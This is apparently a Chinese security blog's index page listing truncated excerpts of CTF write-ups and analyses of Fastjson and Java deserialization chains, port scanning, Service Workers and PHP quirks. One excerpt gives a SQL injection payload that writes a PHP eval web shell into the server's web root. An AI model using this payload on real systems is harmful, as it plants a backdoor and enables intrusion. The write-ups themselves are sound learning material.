文章首发自:合天 前段时间有师傅来问了我fastjson的问题，虽然知道大概但没分析过具体链，最近有空了正好分析一下fastjson两个反序列化链： 1.2.22<=version<=1.2.24 1.2.25<=version<=1.2.47 简述与使用 Fastjson是Alibaba开发的Java语言编写的高性能JSON库，用于将数据在JSON和Ja...
文章首发自:合天 前段时间有师傅来问了我fastjson的问题，虽然知道大概但没分析过具体链，最近有空了正好分析一...
阅读全文>>文章首发于:安全客 自觉对于端口扫描只是浅显的停留在nmap的几条命令，因此花了点时间了解了一下端口扫描器是如何运作的，并且使用python写了一个简单的端口扫描器，笔者目的不在于替代nmap等主流端扫的作用，只是为了更深入地了解端口扫描器运作的原理。 本文以nmap中常见的扫描技术的原理展开叙述。 端口 每一个ip地址可以有2^16=65535个端口，其中分成了两类，一类是TCP，另一类是...
文章首发于:安全客 自觉对于端口扫描只是浅显的停留在nmap的几条命令，因此花了点时间了解了一下端口扫描器是如何运...
阅读全文>>闲来无事把code-breaking2018刷了。 function ```php <?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(FILE); } else { $ac...
闲来无事把code-breaking2018刷了。 function ```php <?php $actio...
阅读全文>>AD 一段时间没打国际赛，最近陆队正在组建一支打国际赛的战队，我也混进去划了一下水，上周末我们也打了第一场国际赛试试水（虽然我在打国赛没怎么看题目），不过初次试水师傅们都很给力，个人认为成绩还算可以（No.9）： 可以看到截图中出现的两支国内战队虽然也挺猛的，不过这俩支都是高校队伍，不允许外校加入，因此在这里我也给战队打个广告，路过的师傅可以看看：https://blog.zeddyu.i...
AD 一段时间没打国际赛，最近陆队正在组建一支打国际赛的战队，我也混进去划了一下水，上周末我们也打了第一场国际赛试...
阅读全文>>闲置了很久的东西，在做dicectf2021的Web IDE的时候再次碰到这个东西，特此学学。 Service Worker下文简称sw，在我的理解看来就类似于一个filter，是介于服务器与客户端之间的一个中间人，它会拦截当前网站的所有请求，根据其编写的逻辑，在请求需要转发给服务器时进行转发，否则就使用离线缓存。 sw它算是一个独立的，运行在浏览器后台的脚本，因此用它来执行消耗大资源的程度...
闲置了很久的东西，在做dicectf2021的Web IDE的时候再次碰到这个东西，特此学学。 Service W...
阅读全文>>签到 略过~ write_shell 代码审计： ```php <?php error_reporting(0); highlight_file(FILE); function check($input){ if(preg_match("/'| ||php|;|~|\^|\+|eval|{|}/i",$input)){ // if(preg_match("/'|...
签到 略过~ write_shell 代码审计： ```php <?php error_reporting(...
阅读全文>>最近想起来学习java，看了下p神的java漫谈(十二)，于是也跟着审了一下yso!cc6的链。 Gadget chain yso中提供的gadget chain为： Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() ...
最近想起来学习java，看了下p神的java漫谈(十二)，于是也跟着审了一下yso!cc6的链。 Gadget c...
阅读全文>>NodeMce 不清楚是否非预期，一个strings直接能看到flag STM stm32单片机，给了一个bin文件，根据http://www.crystalradio.cn/thread-637028-1-1.html来反编译。 ```c _BYTE sub_8000314() { _BYTE v0; // r4 unsigned __int8 *v1; // r5 int v...
NodeMce 不清楚是否非预期，一个strings直接能看到flag STM stm32单片机，给了一个bin文...
阅读全文>>文章首发于:i春秋 容错特性 我先甩出关于容错特性的一个概述：（php的容错特性）当有一个不存在的协议，即无法被成功解析，如hhhm://，将其放入file_get_contents中，会发现其报错，而究其所以是将这个自定义的协议置为null，而php中当协议为null或者file时会进行本地文件读取，也就是说我们可以当做进行本地文件的操作。 本地放一段代码： php <?php in...
文章首发于:i春秋 容错特性 我先甩出关于容错特性的一个概述：（php的容错特性）当有一个不存在的协议，即无法被成...
阅读全文>>easyci 注apache配置文件出来得到web路径为:/var/sercet/html/ 写shell，大小写绕过 password=a&username=-1' uNion sElect 1,'<?php eval($_POST[1]);?>' into outfile '/var/sercet/html/9.php'--+ hello_php www.zip源码...
easyci 注apache配置文件出来得到web路径为:/var/sercet/html/ 写shell，大小写...
阅读全文>>
_ _ _ _ ___ ___
| | | | | | | | \/ |
| |_| | |__ | |__ | . . |
| _ | '_ \| '_ \| |\/| |
| | | | | | | | | | | | |
\_| |_/_| |_|_| |_\_| |_/